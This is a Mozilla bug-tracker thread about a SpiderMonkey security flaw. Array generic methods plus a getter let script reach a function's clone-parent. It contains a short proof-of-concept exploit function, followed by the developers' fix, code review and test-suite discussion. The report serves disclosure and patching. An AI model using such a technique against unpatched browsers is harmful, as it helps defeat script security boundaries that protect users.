313684 - getting clone-parent of JS function using Array generic methods

Status: RESOLVED FIXED

(Core :: JavaScript Engine, defect, P1)

Description

[shutdown]

Array generic methods can be used to get clone-parent of JS function.

function getCloneParent(clonedFunction) {
  var fakeObject = { valueOf: function() { return clonedFunction; } };
  var fakeArray = [ 0 ], cloneParent;
  try {
    fakeArray.__defineGetter__(0, function() {
      cloneParent = arguments.callee.caller.arguments[0];
      throw 0; // prevent to call the iterator function
    });
    fakeArray.forEach(fakeObject);
  } catch(e) {}
  return cloneParent;
}

Comment 1

[shutdown]

Attachment: testcase

Works on:
Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.9a1) Gecko/20051024 Firefox/1.6a1
Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8b5) Gecko/20051024 Firefox/1.5

1.0.x series has no Array generic methods so they are not exploitable.

Comment 2

[Brendan Eich [:brendan]]

Ok, this is following on the heels of bug 313370 -- and I'm right behind, looking for all fun->object "triangle diagram of doom" uses (see bug 313370 comment 8.

/be

Comment 3

[Brendan Eich [:brendan]]

Attachment: proposed general fix

Add js_ValueToFunctionObject, for navigating the diagonal of the triangle diagram of death, with a principals subsumption test.

Add js_ValueToCallableObject, which tests whether the value is a callable object other than a function and returns without conversion, otherwise converting via js_ValueToFunctionObject.  In all cases, any converted callable is stored in the *vp in/out parameter, in case it is a GC root.

Use js_ValueToFunctionObject in jsapi.c JS_ConvertArgumentsVA and JS_ConvertValue to avoid the TDOD.

Use js_ValueToCallableObject from jsarray.c array_extra and jsobj.c obj_watch, for callable genericity as well as TDOD avoidance.

Fix a warning in jsapi.c js_generic_native_method_dispatcher; fixed silent failure bug in jsobj.c js_TryMethod (mentioned previously).

/be

Comment 4

[Brendan Eich [:brendan]]

Stops this bug's testcase as well as bug 313370's testcase.

/be

Comment 5

[Daniel Veditz [:dveditz]]

Nominating for 1.0.x because it looks like most of this fix applies (e.g. it fixes bug 313370 and I don't want to lose track in case that bug gets duped here).

Comment 6

[Brendan Eich [:brendan]]

I intentionally left the dependent bug undup'ed because its patch applies to the old branches -- this bug's patch does not.

/be

Comment 7

[Blake Kaplan (:mrbkap) (inactive)]

Comment on attachment 200706 [details] [diff] [review]
proposed general fix

>Index: jsfun.c
>@@ -2070,16 +2070,59 @@ js_ValueToFunction(JSContext *cx, jsval 
>+JSObject *
>+js_ValueToCallableObject(JSContext *cx, jsval *vp, uintN flags)
>+{
>+    JSObject *callable;
>+
>+    callable = JSVAL_IS_PRIMITIVE(*vp) ? NULL : JSVAL_TO_OBJECT(*vp);
>+    if (callable &&
>+        ((callable->map->ops == &js_ObjectOps)
>+         ? OBJ_GET_CLASS(cx, callable)->call
>+         : callable->map->ops->call)) {
>+        *vp = OBJECT_TO_JSVAL(callable);
>+    } else {
>+        callable = js_ValueToFunctionObject(cx, vp, 0);

|flags| isn't used in this function. I'm assuming you meant to pass it into js_ValueToFunctionObject.

Other than that, looks good. r=mrbkap

Comment 8

[Brendan Eich [:brendan]]

Comment on attachment 200706 [details] [diff] [review]
proposed general fix

Fixed on trunk.  I'd like to get this in on the branch for tomorrow's builds, but shaver is asleep and I will be soon, too.

/be

Comment 9

[Brendan Eich [:brendan]]

Attachment: patch that I checked into the trunk

Comment 10

[shutdown]

(In reply to comment #8)
> (From update of attachment 200706 [details] [diff] [review] [edit])
> Fixed on trunk.  I'd like to get this in on the branch for tomorrow's builds,
> but shaver is asleep and I will be soon, too.
> /be

From CVS commit message:
  Consolidate and check fun->object access (313685, r=mrbkap).
The bug number is wrong.

Comment 11

[Mike Schroepfer]

Comment on attachment 200713 [details] [diff] [review]
patch that I checked into the trunk

Approving to get into tomorrows builds since we have r+.  Shaver - can you double-check in AM?

Comment 12

[Brendan Eich [:brendan]]

(In reply to comment #10)
> From CVS commit message:
>   Consolidate and check fun->object access (313685, r=mrbkap).
> The bug number is wrong.

Sorry, tired.

Fixed on branch, optimizing to avoid respin build team stress by getting it in for nightlies (when do they kick off, anyway?).

/be

Comment 13

[Mike Shaver (:shaver -- probably not reading bugmail closely)]

Comment on attachment 200713 [details] [diff] [review]
patch that I checked into the trunk

sr=shaver, I like the commonization.

Comment 14

[Bob Clary [:bc] (inactive)]

needs to go in the "security" suite, not the js test library.

Comment 15

[Bob Clary [:bc] (inactive)]

shutdown's test will be available as
tests/mozilla.org/security/313684-01.html on the qa farm.

Comment 16

[timeless]

do members of the security group who don't work for mozilla corporation have access to that?

Comment 17

[Bob Clary [:bc] (inactive)]

(In reply to comment #16)
> do members of the security group who don't work for mozilla corporation have
> access to that?
> 

Right now the security tests are located on machines in the colo and the office network. Currently, QA and Jesse have access to the machines. There is discussion going on about what to do with the security tests, how to automate them and where they will live. Providing access to the tests (although not to the machines we use to run them) to members of the security group regardless of employment sounds like a reasonable idea.